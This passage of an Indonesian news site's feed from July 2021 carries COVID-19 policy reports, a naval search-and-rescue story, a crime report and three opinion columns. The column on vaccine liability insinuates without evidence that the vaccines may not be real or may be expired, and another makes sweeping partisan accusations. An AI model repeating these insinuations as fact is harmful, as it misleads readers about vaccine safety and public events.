PKPU atau dimohonkan pailit. Keenam, dikenakan penghentian sementara perdagangan efek selama lebih dari satu hari bursa yang disebabkan oleh aktivitas perdagangan. Ketujuh, kondisi lain yang ditetapkan oleh bursa setelah memperoleh persetujuan atau perintah dari Otoritas Jasa Keuangan (OJK). Kriteria lainnya pada Peraturan Nomor II-S tentang Perdagangan Efek Bersifat Ekuitas Dalam Pemantauan Khusus akan diberlakukan mulai semester II 2022. Kriteria tersebut diantaranya adalah harga rata-rata saham selama enam bulan terakhir di pasar reguler kurang dari Rp51 dan memiliki ekuitas negatif pada laporan keuangan terakhir. Lalu, perusahaan tidak memenuhi persyaratan untuk dapat tetap tercatat di bursa sebagaimana diatur dalam Peraturan Nomor I-A tentang Pencatatan Saham dan Efek Bersifat Ekuitas Selain Saham yang Diterbitkan Oleh Perusahaan Tercatat untuk Perusahaan Tercatat yang sahamnya tercatat di Papan Utama atau di Papan Pengembangan, dan Peraturan Nomor I-V tentang Ketentuan Khusus Pencatatan Saham dan Efek Bersifat Ekuitas Selain Saham di Papan Akselerasi yang Diterbitkan oleh Perusahaan Tercatat untuk Perusahaan Tercatat yang sahamnya tercatat di Papan Akselerasi. Berikutnya, perusahaan memiliki likuiditas rendah dengan kriteria nilai transaksi rata-rata harian saham kurang dari Rp5 juta dan volume transaksi rata-rata harian saham kurang dari 10.000 saham selama enam bulan terakhir di pasar reguler. (mth)

Pemprov Bali Bantah Lamban Cairkan Insentif Tenaga Kesehatan

Denpasar, FNN - Pemerintah Provinsi Bali membantah lamban dalam mencairkan insentif tenaga kesehatan untuk penanganan COVID-19 karena hingga Juni 2021 sudah direalisasikan sebesar Rp22,85 miliar lebih atau 48,60 persen dari total anggaran. "Hal yang membuat Bali dapat teguran dari surat (Mendagri-red) adalah disebutkan Bali belum melakukan pencairan insentif tenaga kesehatan untuk penanganan COVID-19," kata Sekretaris Daerah Provinsi Bali Dewa Made Indra dalam keterangan persnya di Denpasar, Senin. Namun, dia menegaskan, dari total anggaran sebesar Rp47,01 miliar lebih, Pemerintah Provinsi Bali sudah merealisasikan dana pembayaran insentif untuk tenaga kesehatan hingga bulan Juni 2021 sebesar Rp22,85 miliar lebih atau dengan persentase 48,60 persen. Jika mengacu pada realisasi tersebut, menurut Dewa Indra, Pemerintah Provinsi Bali tidak seharusnya masuk ke dalam surat teguran dari Mendagri tersebut. "Dan (realisasi, red) ini sudah saya laporkan secara tertulis pula kepada Menteri Keuangan dan Menteri Dalam Negeri per 7 Juli 2021," ujar pria yang juga Ketua Harian Satgas Penanganan COVID-19 Bali itu. Laporan tersebut secara rinci menyampaikan realisasi dukungan pendanaan untuk Belanja Kesehatan penanganan pandemi COVID-19 dan belanja prioritas lain. Dewa Indra menambahkan, Minggu (18/7) malam, dirinya sudah berkoordinasi langsung dengan Direktorat Jenderal Bina Keuangan Daerah perihal realisasi pencairan insentif tenaga kesehatan tersebut. "Dan setelah dicek, ternyata data yang digunakan masih data lama yang belum diupdate per Juli 2021 padahal hingga bulan Juni 2021 Provinsi Bali sudah melakukan pembayaran sedangkan untuk bulan Juli tentunya masih berjalan," ucapnya. Sebelumnya Menteri Dalam Negeri (Mendagri) Tito Karnavian menyatakan telah melakukan teguran tertulis kepada 19 kepala daerah, termasuk salah satunya adalah Provinsi Bali. Adapun 19 provinsi tersebut yakni, Provinsi Aceh, Sumatera Barat, Kepulauan Riau, Sumatera Selatan, Bengkulu, Kepulauan Bangka Belitung, Jawa Barat, Yogyakarta, Bali, dan Nusa Tenggara Barat. Kemudian Kalimantan Barat, Kalimantan Tengah, Sulawesi Selatan, Sulawesi Tengah, Sulawesi Utara, Gorontalo, Maluku, Maluku Utara, dan Papua. Provinsi Bali disebut belum melakukan realisasi insentif tenaga kesehatan daerah (innakesda) yang bersumber dari refocusing 8 persen DAU/DBH Tahun Anggaran 2021 yang dianggarkan APBD 2021 sebesar Rp25 miliar. (mth)

KA Jarak Jauh Hanya untuk Perjalanan Tertentu

KA Jarak Jauh hanya untuk perjalanan tertentu selama 20 -- 25 Juli Jakarta, [FNN] - PT Kereta Api Indonesia (Persero) menerapkan kebijakan pada masa libur Idul Adha 1442 H yaitu mulai keberangkatan 20 -- 25 Juli 2021. Perjalanan Kereta Api Jarak Jauh dalam periode tersebut hanya dibolehkan bagi pelaku perjalanan yang bekerja di sektor esensial, kritikal, serta untuk kepentingan mendesak. “Aturan tersebut mengacu pada SE Kemenhub No. 54 Tahun 2021 tentang Perubahan Kedua Atas Surat Edaran Menteri Perhubungan Nomor SE No. 42 Tahun 2021 tentang Petunjuk Pelaksanaan Perjalanan Orang Dalam Negeri Dengan Transportasi Perkeretaapian Pada Masa Pandemi Covid-19,” kata VP Public Relations KAI Joni Martinus dalam keterangan tertulis yang diterima di Jakarta, Senin, 19 Juli 2021. Joni menjelaskan sesuai Instruksi Mendagri Nomor 18 Tahun 2021, bidang yang menjadi sektor esensial adalah keuangan dan perbankan, pasar modal, TI dan komunikasi, perhotelan non penanganan karantina Covid-19, dan industri orientasi ekspor. Kemudian yang termasuk sektor kritikal adalah kesehatan, keamanan dan ketertiban masyarakat, penanganan bencana, energi, logistik, transportasi dan distribusi, makanan minuman dan penunjangnya, pupuk dan petrokimia, semen dan bahan bangunan, obyek vital nasional, proyek strategis nasional, konstruksi, dan utilitas dasar. Adapun pekerja di sektor kritikal dan esensial harus menunjukkan, Surat Tanda Registrasi Pekerja, atau surat keterangan lainnya yang dikeluarkan oleh pemerintah daerah setempat. Surat tugas yang ditandatangani oleh pimpinan perusahaan atau pejabat minimal eselon 2 (untuk pemerintahan) dan berstempel/cap basah atau tanda tangan elektronik. Sedangkan yang dimaksud dengan epentingan mendesak yaitu pasien dengan kondisi sakit keras, ibu hamil yang didampingi oleh 1 orang anggota keluarga, kepentingan persalinan yang didampingi maksimal 2 orang, dan pengantar jenazah non Covid-19 dengan jumlah maksimal 5 orang. Pelanggan dengan kepentingan mendesak dibuktikan dengan menunjukkan surat keterangan perjalanan antara lain surat rujukan dari rumah sakit atau surat pengantar dari perangkat daerah setempat atau surat keterangan kematian atau surat keterangan lainnya. Setiap pelanggan KA Jarak Jauh diharuskan menunjukkan surat keterangan hasil negatif tes RT-PCR maksimal 2x24 jam atau rapid test antigen maksimal 1x24 jam sebelum keberangkatan. Khusus pelanggan KA Jarak Jauh di Pulau Jawa wajib menunjukkan kartu vaksinasi. "Syarat kartu vaksinasi dikecualikan bagi pelanggan yang tidak/belum divaksin dengan alasan medis dibuktikan dengan surat keterangan dari dokter spesialis dan pelanggan dengan kepentingan mendesak," ujar Joni sebagaimana dikutip dari Kantor Berita Antara. Joni menambahkan, pada masa libur Idul Adha, perjalanan KA Jarak Jauh hanya diperbolehkan untuk pelanggan dengan usia di atas 18 tahun. Setiap pelanggan harus dalam kondisi sehat (tidak menderita flu, pilek, batuk, hilang daya penciuman, diare, dan demam), suhu badan tidak lebih dari 37,3 derajat celsius, serta memakai masker kain 3 lapis atau masker medis yang menutupi hidung dan mulut. Ia menegaskan setiap petugas di stasiun keberangkatan akan melakukan pemeriksaan seluruh persyaratan pelanggan sebelum diizinkan melakukan perjalanannya. Jika ada yang tidak lengkap, maka yang bersangkutan tidak akan diizinkan untuk berangkat dan uang tiket akan dikembalikan 100 persen. “KAI mendukung penuh semua langkah yang diambil pemerintah dalam penanggulangan pandemi Covid-19 di Indonesia khususnya pada masa Libur Hari Raya Idul Adha 1442 H,” ujarnya. (MD).

Kemenkeu Sebut Realisasi Anggaran PEN Capai 37,9 Persen

Jakarta, FNN - Direktur Jenderal Perimbangan Keuangan Kementerian Keuangan (Kemenkeu) Astera Primanto Bhakti menyebutkan anggaran Program Pemulihan Ekonomi Nasional (PEN) telah terealisasi 37,9 persen dari pagu sebesar Rp699,43 triliun. “Realisasi program pemulihan ekonomi telah terserap 37,9 persen dari pagu yang dianggarkan Rp699,43 triliun,” katanya dalam Webinar Pengelolaan Dana Haji 2021 di Jakarta, Senin. Prima menyatakan realisasi tersebut terbagi dalam beberapa fokus di antaranya diarahkan untuk sektor kesehatan seperti therapeutic dan perawatan bagi 252.000 pasien. Kemudian perlindungan sosial yang meliputi Program Kartu Sembako bagi 15,93 juta keluarga dan kuota internet bagi 32,1 juta penerima. Selain itu, realisasi anggaran PEN turut diarahkan untuk dukungan UMKM dan korporasi yaitu kepada 9,8 juta pelaku UMKM. Selanjutnya juga untuk program prioritas padat karya bagi 795.000 tenaga kerja dan insentif usaha seperti berupa PPh Final UMKM ditanggung pemerintah (DTP) bagi 129 ribu usaha. Prima menegaskan pemerintah terus memantau dinamika yang terjadi akibat pandemi kemudian melakukan strategi realokasi dan refocusing anggaran untuk memaksimalkan peran APBN sebagai instrumen fiskal. Menurutnya, upaya tersebut sebagai langkah menyelamatkan masyarakat dan menjaga ketahanan serta menyeimbangkan maupun memulihkan aktivitas perekonomian. Meski demikian ia mengingatkan APBN yang merupakan instrumen pemerintah dalam melakukan countercyclical terhadap dampak pandemi juga memiliki keterbatasan sehingga harus kembali disehatkan. Ia menjelaskan penyehatan APBN dilakukan melalui langkah konsolidasi fiskal yaitu dengan berbagai reformasi baik dalam penganggaran, perpajakan dan PNBP, Transfer Daerah dan Dana Desa (TKDD), pendidikan, kesehatan, serta perlindungan sosial. “Melalui reformasi struktural yang terus dijalankan secara konsisten akan menciptakan momentum baru bagi percepatan ekonomi sekaligus penguatan transformasi di berbagai sektor,” ujarnya. (mth)

Kepala BIN Targetkan 12.000 Anak Divaksinasi

Jakarta, FNN - Kepala Badan Intelijen Negara (BIN) Jenderal Polisi (Purn) Budi Gunawan menargetkan 12.000 anak divaksinasi dalam program vaksinasi pelajar SMP dan SMA. Budi Gunawan dalam keterangannya di Jakarta, Senin, mengatakan program tersebut digelar BIN serentak di 6 provinsi, yaitu Jawa Barat, Jawa Tengah, Banten, Riau, Kalimantan Timur, dan Sulawesi Selatan. Budi menyebut kasus positif COVID-19 yang menyasar anak-anak cukup tinggi. Oleh karena itu, BIN ditugaskan Presiden Joko Widodo (Jokowi) untuk menggelar vaksinasi untuk pelajar di sekolah-sekolah. “Untuk itu, BIN ditugaskan oleh bapak Presiden untuk memvaksin pelajar SMP-SMA guna menyelamatkan generasi penerus bangsa dan penopang keluarga,” kata Budi Gunawan. Ada pun dosis vaksin yang disuntikkan adalah Sinovac dengan target per provinsi sebanyak 2.000 dosis vaksin sehingga total di 6 provinsi sebanyak 12.000 dosis vaksin. Budi Gunawan sempat meninjau vaksinasi untuk pelajar SMP dan SMA di Sekolah Kesatuan Pelajar, Bogor, Jawa Barat. Budi Gunawan menyebut vaksinasi penting untuk pelajar mengingat penularan COVID-19 cenderung naik. Ia mengatakan perbandingan kasus aktif yang ada di Indonesia yaitu 9 persen dari seluruh total kasus. Anak-anak, khususnya pelajar rentan tertular dan menjadi penular untuk klaster keluarga. “Penularan di kalangan pelajar cenderung naik, 1 diantara 9 kasus positif adalah anak-anak dan jumlah anak Indonesia yang tertular COVID-19 sebanyak 9 persen dari total yang terinfeksi,” kata dia. Budi memaparkan dari data yang ada, sebanyak 2,9 juta kasus positif COVID-19 terdapat 250 ribu anak yang tertular. Anak-anak menjadi spreader (penular) untuk klaster keluarga. “Selain itu anak menjadi salah satu spreader (penular) di klaster keluarga yang berkontribusi 85 persen dari total kasus positif baru di Indonesia,” ucapnya. Dengan demikian, katanya, program vaksinasi untuk pelajar SMP dan SMA yang digelar BIN diharapkan dapat memutus rantai penyebaran COVID-19 serta mengurangi risiko angka kematian karena COVID-19 di Tanah Air. “Program vaksinasi ini diharapkan mampu memutus mata rantai penularan, memperkecil risiko klaster keluarga, dan mengurangi risiko fatal (kematian) jika terinfeksi COVID-19,” ujarnya. Selain mendapatkan vaksinasi pada program yang digelar BIN di 6 provinsi itu, kata dia, para pelajar mendapatkan paket vitamin untuk menunjang imun. (mth)

TNI AL Kerahkan Dua Pesawat Patroli Maritim Cari Kapal Hilang

Jakarta, FNN - TNI Angkatan Laut (AL) mengerahkan dua pesawat udara untuk melaksanakan patroli udara maritim dalam misi pencarian dan pertolongan terhadap 17 kapal yang hilang di perairan Pontianak, Kalimantan Barat, akibat cuaca buruk. Panglima Komando Armada I (Pangkoarmada I) Laksda TNI Abdul Rasyid dalam keterangan tertulis di Jakarta, Senin, menjelaskan dua pesawat udara itu memperkuat unsur SAR gabungan. "Kedua pesawat ini merupakan jenis pesawat yang memiliki kemampuan dalam pengintaian maritim," jelas Rasyid. Dua pesawat TNI AL itu, yakni CN 235-220 MPA dengan nomor lambung P-8305 berada di bawah kendali Guspurla Koarmada I Operasi Siaga Segara-21. Pesawat Udara P-8305 dengan Kapten Pilot Lettu Laut (P) Aditya Mulyarajasa akan melaksanakan pencarian melalui udara pada ketinggian jelajah 3.000 kaki atau sekitar 900 mdpl dengan metode pencarian “paralel mode” pada enam titik koordinat yang telah ditentukan pada area pencarian seluas 825 Nautical Mile (NM) persegi di perairan sebelah barat Kalbar sekitar 80 NM dari Lanud Supadio Pontianak. Pesawat lainnya, yakni Cassa MPA P-8203. Selain itu telah diperbantukan dua Kapal Perang KRI Kerambit-627 dan KRI Clurit-641. Dua Kapal Patroli Angkatan Laut Kal Lemukutan dan Kal Sambas serta Tim SAR Lantamal XII Pontianak. KRI Usman Harun-359 yang sebelumnya terlibat dalam SAR Gabungan tersebut selanjutnya digantikan KRI Clurit-641. KRI Usman Harun-359 selanjutnya akan meneruskan kembali operasi dalam patroli kedaulatan di perairan perbatasan. "Segala potensi yang dimiliki TNI AL baik personel maupun alutsista akan dikerahkan untuk kegiatan-kegiatan kemanusiaan seperti penanggulangan bencana dan SAR. Hal ini merupakan salah satu implementasi pelaksanaan perintah pimpinan TNI AL, Kepala Staf Angkatan Laut, Laksamana TNI Yudo Margono kepada jajarannya" kata Rasyid. Hari kelima pencarian, Tim Gabungan SAR berhasil menemukan satu kapal nelayan yang dilaporkan hilang KM Hyden 188 dalam posisi terbalik, selanjutnya ditarik untuk diadakan penyelaman guna meyakinkan kemungkinan adanya korban yang terperangkap di dalam badan kapal. Hingga pencarian hari kelima pada Minggu (18/7) dari data yang dihimpun SAR Gabungan, sebanyak 80 orang dinyatakan selamat dari total 138 ABK. ABK sebanyak itu dari 17 kapal yang mengalami musibah. Sebanyak 15 ABK ditemukan meninggal dan 43 orang masih dalam pencarian. Pada hari ini (Senin) unsur SAR TNI AL yang tergabung dalam Operasi SAR Gabungan Pencarian dan Penyelamatan 17 kapal yang mengalami musibah akan kembali melaksanakan pencarian pada sektor udara dan laut yang telah direncanakan. (mth)

Pemprov Jabar Imbau Warga Rayakan Idul Adha di Rumah

Bandung, FNN - Pemerintah Daerah (Pemda) Provinsi Jawa Barat (Jabar) mengimbau masyarakat merayakan Idul Adha 2021 dari rumah masing-masing guna menekan lonjakan kasus COVID-19. "Perayaan Idul Adha tahun ini berbeda dari tahun-tahun sebelumnya, karena dalam situasi kedaruratan COVID-19," kata Gubernur Jawa Barat M Ridwan Kamil atau Kang Emil di Bandung, Senin. Kang Emil menyatakan ia bersama keluarga akan menjalankan shalat Idul Adha dan kurban di Rumah Dinas Gedung Pakuan, Kota Bandung. Terlebih Idul Adha tahun ini bersamaan dengan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. “Mari kita melaksanakan ibadah Idul Adha di rumah saja dan melaksanakan ketaatan kita pada para ulama dengan fatwa-fatwanya, dan ketaatan kepada arahan pemimpin,” kata Kang Emil. Kang Emil juga mengimbau pelaksanaan Idul Adha 1442 Hijriah untuk mengoptimalkan hari tasyrik dan membeli hewan kurban dengan memanfaatkan teknologi dengan bertransaksi daring. Penyembelihan hewan kurban, kata Kang Emil, dapat berlangsung dalam waktu tiga hari, yaitu tanggal 11, 12 dan 13 Zulhijah 1442 Hijriah. Tujuannya untuk menghindari kerumunan di lokasi penyembelihan hewan kurban. Menurut Kang Emil, penyembelihan hewan kurban sebaiknya dilaksanakan di Rumah Pemotongan Hewan Ruminasia (RPH-R). Namun, karena keterbatasan lokasi, pemotongan dapat dilakukan di luar RPH-R dengan menerapkan protokol kesehatan yang ketat. "Satu petugas satu alat, jangan bergantian. Sementara pemilik hewan kurban tidak perlu hadir di lokasi, panitia bisa memfasilitasi dengan alat komunikasi, bisa zoom atau lainnya," ujar Kang Emil. Kang Emil menuturkan pendistribusian daging hewan kurban harus dilakukan dari rumah ke rumah, sehingga tidak menimbulkan kerumunan di lokasi penyembelihan kurban. Terkait lokasi penjualan hewan kurban, Kang Emil menegaskan wajib menerapkan protokol kesehatan, menjaga lokasi berjualan dan hewan kurban tetap bersih. Bahkan, jauh lebih baik jika penjualan dilakukan secara daring atau mengoordinasikan pembelian hewan kurban melalui DKM bersangkutan. "Pandemi COVID-19 memaksa kita semua untuk beradaptasi dalam merayakan hari besar keagamaan, tidak terkecuali Idul Fitri dan Idul Adha. Kita dipaksa menunda tradisi-tradisi hari kemenangan, karena yang terpenting saat ini adalah masyarakat harus memastikan kesehatan dirinya dan keluarga," kata dia. (mth)

Rezim Jokowi Selalu Mengabaikan Situasi dan Kondisi

Dalam teori strategi perang situasi dan kondisi menjadi kunci pokok yang menentukan berhasil atau gagalnya peperangan. By Sugengwaras Bandung, FNN - Begitu pula pada tingkat pertempuran, operasional, taktik dan teknis yang tingkatannya lebih rendah, lebih sempit dan lebih sederhana, situasi dan kondisi tetap merupakan hal yang sangat urgen dalam penyertaan atau pertimbangan pemilihan cara bertindak. Demikian pula pada kepentingan dan tujuan non-militer, yang bersifat umum, baik dalam hal usaha maupun jasa, situasi dan kondisi juga menjadi bahan acuan dalam pencapaian tujuan atau sasaran. Situasi mengindikasikan keadaan cuaca dan waktu, sedangkan kondisi menengarai keadaan medan atau daerah, kekuatan dan kemampuan. Tampaknya hal ini diabaikan oleh rezim Jokowi yang sering melaksanakan kebijakan-kebijakan kontroversial yang seakan tidak memperhitungkan situasi dan kondisi yang sedang berlaku. Ambil contoh dalam hal keadilan dan penegakan hukum, penanganan dan tindakan hukum terhadap kelompok ulama yang dianggap melawan pemerintah, 180° berbeda dengan mereka yang pro-pemerintah. Bukan mencari masalah di tengah keprihatinan menghadapi pandemi, namun setidaknya kita tidak bisa melupakan begitu saja langkah tindak aparat penegak hukum yang berindikasi konspirasi antar badan. Pernyataan dan penguatan Komnasham RI atas pernyataan Polri tentang telah terjadinya tembak menembak antara laskar pengawal HRS dengan sekelompok bersenjata yang belakangan diakui dari petugas kepolisian, mengindikasikan adanya permainan sandiwara yang fulgar di mata rakyat. Arogansi, deskriminasi dan penyelingkuhan hukum secara terang terangan dilakukan oleh oknum penegak hukum secara massiv, sistematis dan terstruktur. Rezim ini dengan vulgarnya menangani kasus kerumunan dan kekarantinaan yang sangat timpang dengan pembiaran keterlibatan Mahfud MD sang Menkopolhukkam saat pembolehan penjemputan bagi fans HRS, termasuk pengabaian terhadap kerumunan yang dilakukan Presiden Jokowi, Gibran , Kofifah dan lain lain. Sayangnya pihak HRS tidak berdaya menghadapi ini, bukanya kalah pintar tapi kalah kuasa. Di sinilah rezim ini lebih pantas disebut penguasa dibanding pemerintah. Rencana pemindahan Ibu kota negara ke Kalimantan juga mengindikasikan pengabaian situasi dan kondisi di mana rakyat sedang dalam cemas harap atas keterpurukan ekonomi, menggunungnya hutang negara, penanganan kasus korupsi kelas kakap yang abal abal serta meningkatnya penganggguran di satu sisi dan membanjirnya TKA Cina di sisi lain. Pengakuan KAPOLRI Jendral Listyo Sigit Prabowo terkait penghentian kasus penembakan di KM 50 Jakarta Cikampek, merupakan pengabaian terhadap situasi dan kondisi serta pelecehan terhadap nyawa manusia. Kapolri seharusnya memberikan contoh keteladanan dalam penegakan hukum. Kita paham tentang badan kepolisian yang berperan melayani, melindungi dan mengayomi masyarakat sebagai hal yang mulia, tapi kita tidak berharap hukum ini mau dibawa kearah penyimpangan atau perselingkuhan. Kebijakan PPKM mengindikasikan abainya pemerintah terhadap situasi dan kondisi tentang kesulitan rakyat dalam memperjuangkan kelangsungan hidup. Maka jika pemerintah terus berulang dalam abai situasi dan kondisi, niscaya akan menjadikan blunder yang akan melilit pemerintah sendiri. ( Bandung, 19 Juli 2021, Sugengwaras )

Pertanggungjawaban Efek Vaksin

By M Rizal Fadillah Bandung, FNN - Penyuntikan vaksin adalah upaya untuk penanggulangan di tengah pandemi. Tujuannya tentu sangat bagus agar terbangun imunitas tubuh terhadap serangan virus. Sebagai program nasional harapan agar mayoritas penduduk mendapat suntikan vaksin dapat terpenuhi. Negara sudah mengeluarkan dana sangat besar untuk ini. Sayangnya masalah vaksin ini masih saja terus menjadi bahan perbincangan, baik tahapan uji yang belum final, jenis vaksin yang digunakan, hingga syarat kondisi seseorang agar layak vaksin. Fakta vaksin tidak absolut menyebabkan ketertularan juga terjadi. Pemerintah cenderung memaksakan agar warga masyarakat menjalankan vaksinasi. Tidak ada kebijakan sukarela. Bahkan uniknya kini instansi BIN pun dikerahkan untuk mendatangi rumah ke rumah, suatu hal yang menarik sekaligus dinilai melampaui batas. Dikesankan tingkat kedaruratan negara sudah memuncak. Kebijakan hanya PPKM darurat enggan karantina wilayah (lock down). Agak licik juga Pemerintah ini. Memaksakan tetapi tidak memfasilitasi. Persoalan lain adalah tersiar berita yang perlu pengecekan kebenarannya yaitu tertahannya puluhan juta vaksin di gudang. Jika benar maka perlu waspada akan masa berlaku (expired date) vaksin tersebut dan bahaya atas penggunaannya. Seseorang yang divaksin tidak mungkin mengecek masa berlaku dosis vaksin yang akan disuntikan. Lagi pula apakah itu benar-benar vaksin ? Siapa yang menjamin ? Masalah yang perlu menjadi renungan bersama juga adalah bagaimana pertanggungjawaban atas efek dari vaksinasi, misalnya terjadi kelumpuhan bahkan meninggal. Apakah harus dibiarkan tanpa pertanggungjawaban ? Siapa yang lebih layak bertanggung jawab? Dalam hal penyuntikan vaksin atas dasar sukarela mungkin risiko sebagiannya ditanggung pengguna, akan tetapi dalam situasi pemaksaan oleh Pemerintah, maka Pemerintah harus bertanggung jawab atas segala efek yang ditimbulkan. Kembali lagi, janganlah Pemerintah melakukan tindakan licik, aspek keuntungan dari bisnis vaksin itu didapat, tetapi risiko yang diakibatkannya berlepas tangan. Rakyat dibiarkan menjadi korban. Perkosaan, pemerasan, penganiayaan, atau pembunuhan namanya. Segera audit dana pandemi, audit kondisi vaksin, audit penyimpangan serius dari program penanggulangan pandemi Covid 19 secara menyeluruh. *) Pemerhati Politik dan Kebangsaan

Macetnya Ruang Akademis Universitas Pattimura Ambon

by Ahmad Lohy Ambon FNN – Macetnya ruang akademis Universitas Pattimura (Unpatti) Ambon menjadi penyebab anomali pelaksanaan Pembatasan Pergerakan Kegiatan Masyarakat (PPKM) Darurat di Kota Ambon. Pertumbuhan ekonomi masyarakat Kota Ambon terhambat, karena masyarakat Maluku yang diwakili mahasiswa melakukan protes menolak PPKM Darurat. Keadaan ini menjadi miris akibat mencekamnya pandemi Covid-19 di Kota Ambon. Bagaimana tidak, situasi ekonimi yang dirasakan masyarakat kian hari semakin sulit. Kenyataan ini menjadi problem yang tidak dapat dihindari. Kehidupan sehari-hari masyarakat tertekan. Sementara pemerintah tidak memberikan makan kepada rakyat selama berlangsung PPKM Darurat ini. Munculnya ide untuk menolak PPKM yang diwakili kalangan mahasiswa ini, bukan muncul secara sporadis dari kalangan mahasiswa saja. Mayoritas masyarakat di Maluku, khususnya kota Ambon mulai mengeluhkan PPKM ini. Aapalgi kebijakan pemerintah Kota Ambon yang membatasi aktivitas masyarakat hanya pada waktu tertentu. Posisi Kota Ambon yang menjadi sentral ibukota provinsi di Maluku, sangat berpengaruh terhadap aktivitas kabupaten kota lain Maluku. Kenytaan ini berdampak kepada keadaan sosial dan ekonomi masyarakat di kota Ambon dan Maluku pada umumnya. Salah satu penyebab penolakan PPKM adalah macetnya ruang akademis yang berkedudukan sebagai fondamen keilmuan di Universitas Pattimura Ambon. Terlihat jelas lembaga akademis tidak memiliki peran dan berkontribusi untuk memecahkan masalah wabah yang berpotensi menimbulkan gejolak sosial di wilayah kepulauan ini. Sebagai wilayah kepulauan, masyarakat Maluku memiliki karakteristik tententu. Sehingga pola penanganan dan kebijakan harusnya berbeda dengan beberapa wilayah lain di Indonesia, terutama Pulau Jawa. Untuk itu, dibutuhkan penelitian yang komprehensif untuk meminimalisir resistensi kebijakan PPKM di masyarakat. Penolakan terhadap penerapan PPKM mikro ini, bukan tidak mungkin menghadapi kendala yang lebih besar di Maluku. Penolakan bisa melebar ke daerah-daerah lain di luar kota Ambon. Apalagi jika institusi pendidikan tidak mengeluarkan formulasi dan metode penanganan melalui pengkajian dan pendalaman masalah Covid-19. Misalnya, bagaimana pola kehidupan sosial dan karakteristik masyarakat Maluku. Ruang akademis seperti kampus-kampus menjalani kuliah online dengan alasan khawatir muncul cluster baru. Namun kampus sebagai lembaga yang berbasis keilmuan seakan-akan mati suri menghadapi fenomena kesehatan masyarakat yang merambah masuk ke dalam ruang sosial semakin massif. Kampus seperti tidak punya rasa tanggung jawab terhadap kondisi masyarakat. Kampus menjadi lembaga yang terpisah dari masyarakat. Kenyataan ini menjadi hal yang muskil. Harusnya universitas bergengsi di Maluku seperti Universitas Pattimura membantu pemerintah. Misalnya, mengambil peran dalam mengkaji, mendalami memecahkan dan menerapkan keilmuannya untuk melihat fenomena masyarakat yang kian hari semakin terbebani secara ekonomi akibat kebijakan PPKM. Bukan dengan berdiam diri dari masyarakat. Apalagi dengan dengan alasan itu menjadi urusan kebijakan pemerintah daerah dan pusat. Sikap apatis seperti inilah yang mengakibatkan wilayah Maluku tertinggal dari daerah lain. Padahal Maluku memiliki banyak potensi sumberdaya alam dan sumberdaya manusia yang unggul. Sikap Universitas Pattimura yang berdiam diri terhadap keadaan masyarakat Maluku terkait penerapan PPKM di Kota Ambon ini sangat disayangkan. Tampak kalau Universitas Pattimura sangat ketinggalan dalam merespon issue-issue yang berbasis sosial kemasyarakatan. Padahal lembaga pendidikan tinggi tertua di Maluku ini tidak diragukan lagi eksistensi dan sepak-terjangnya dalam memproduksi sumbedaya manusia unggul di Maluku. Harusnya Universitas Pattimura memegang teguh Tri Dharma Perguruan Tinggi yang menjadi azas dan prinsip kehidupan akademik. Tri Dharma Perguruan Tinggi sebagai rohnya ruang akademis, kini hanya menjadi pajangan dan formalitas kehidupan akademis. Hanya terlihat pada saat Kuliah Kerja Nyata (KKN) atau Praktek Kerja Lapangan (PKL). Padahal jika kita perhatikan secara mendasar, Tri Dharma itu adalah tiga kewajiban yang harus ditunaikan oleh kalangan perguruan tinggi. Harusnya keterlibatan lembaga akademis dalam studi-studi tentang dinamika hidup masyarakat menghadapi wabah virus Covid-19 dilakukan untuk terlaksananya ketertiban sosial, menghindari kekacauan dalam bermasyarakat. Caranya dengan menyeimbangkan kelayakan terhadap standar hidup yang wajar, sehingga memenuhi unsur keadilan dan kelayakan. Bagaimana kebutuhan hidup menghadapi kebijakan PPKM yang mempersempit ruang gerak masyarakat. Bukan semata-mata lepas tangan sebagai lembaga yang berorientasi kepada pengabdian masyarakat. Apalagi membiarkan pemerintah berhadap-hadapan dengan masyarakat dalam menghadapi masa-masa sulit Pandemi Covid-19. Penulis adalah Wartawan FNN.co.id.

Polisi Tangkap Pembunuh Wanita yang Jasadnya Dibuang di Pantai Sibuasi

Medan, FNN - Pihak kepolisian berhasil menangkap pelaku pembunuh Riahati Luahambowo (26) yang jenazahnya ditemukan di tepi Pantai Sibuasi, Kecamatan Pulau Batu, Kabupaten Nias Selatan, Sumatera Utara, beberapa waktu lalu. Kasatreskrim Polres Nias Selatan AKP Iskandar Ginting, Minggu mengatakan identitas pelaku berinisial AG berusia sekitar 25 tahun. Pelaku merupakan warga Kecamatan Tanah Masa, Nias Selatan. Pelaku ditangkap saat berada di atas kapal penyeberangan KM Simeulue dalam perjalanan dari Pelabuhan Tello menuju Teluk Dalam. "Pelaku sudah ditahan untuk proses hukum lebih lanjut," ungkap-nya. Ia menyebut bahwa pihaknya masih melakukan pendalaman untuk mengungkap motif pembunuhan tersebut. "Motif masih kita dalami," ujarnya. Jenazah Riahati Luahambowo pertama kali ditemukan oleh warga setempat di tepi Pantai Sibuasi pada Sabtu (17/7). Saat ditemukan, kondisi jenazah dalam keadaan berlumuran darah dan pada bagian wajah korban penuh luka diduga akibat hantaman batu. (mth)

Sebanyak 16,27 Juta Lebih Penduduk Indonesia Terima Vaksin Lengkap COVID-19

Jakarta, FNN - Satuan Tugas (Satgas) Penanganan COVID-19 melaporkan jumlah warga Indonesia yang telah menerima dosis vaksin secara lengkap mencapai lebih dari 16,27 juta jiwa hingga 18 Juli 2021, pukul 12.00 WIB. Data Satgas COVID-19 yang diterima di Jakarta, Minggu, menunjukkan jumlah penduduk yang telah mendapat suntikan dua dosis vaksin COVID-19 per 18 Juli 2021 bertambah 56.295 sehingga secara kumulatif menjadi 16.274.150 orang. Sementara itu, jumlah penerima vaksin dosis pertama yang tercatat hari ini sebanyak 404.837 jiwa. Dengan tambahan tersebut, maka jumlah penerima vaksinasi dosis pertama secara kumulatif kini menjadi 41.637.464 jiwa. Pemerintah menaikkan target vaksinasi COVID-19 menjadi sebanyak 208.265.720 juta orang, seiring perluasan cakupan vaksinasi untuk kelompok anak dan ibu menyusui. Sebelumnya, target vaksinasi awal yang ditetapkan pemerintah sebanyak lebih dari 181,5 juta orang. Dengan demikian, maka tercatat suntikan dosis pertama vaksin COVID-19 sudah diberikan pada 20,01 persen (41.673.464 orang) dari total 208.265.720 warga yang menjadi sasaran vaksinasi COVID-19. Sementara warga yang sudah selesai menjalani vaksinasi kedua meliputi 7,81 persen (16.274.150 orang) dari total sasaran. (mth)

Akhirnya, BPOM Tunduk pada Produsen Obat Cacing?

